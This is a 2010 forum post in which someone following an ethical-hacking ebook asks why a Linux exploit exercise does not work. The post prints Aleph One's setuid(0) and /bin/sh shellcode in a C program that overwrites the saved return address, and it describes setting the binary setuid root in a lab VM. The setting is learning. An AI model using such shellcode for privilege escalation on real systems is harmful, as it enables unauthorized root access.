I have this code .... Ethical Hacking
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Published on 2010-05-07T16:49:25Z
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2010/05/07
16:58 UTC
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hello folks, I am following this EBook about Ethical Hacking, and I reached the Linux Exploit Chapter, this is the code with Aleph's 1 code.
//shellcode.c
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() { //main function
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
I give this the super user privileges, with
chmod u+s shellcode
as a super user, then go back to normal user with
su - normal_user
but when I run ./shellcode I should be a root user but instead I still be normal_user so any help?? btw I am working on BT4-Final, I turned off the ASLR, and running BT4 in VMWare...
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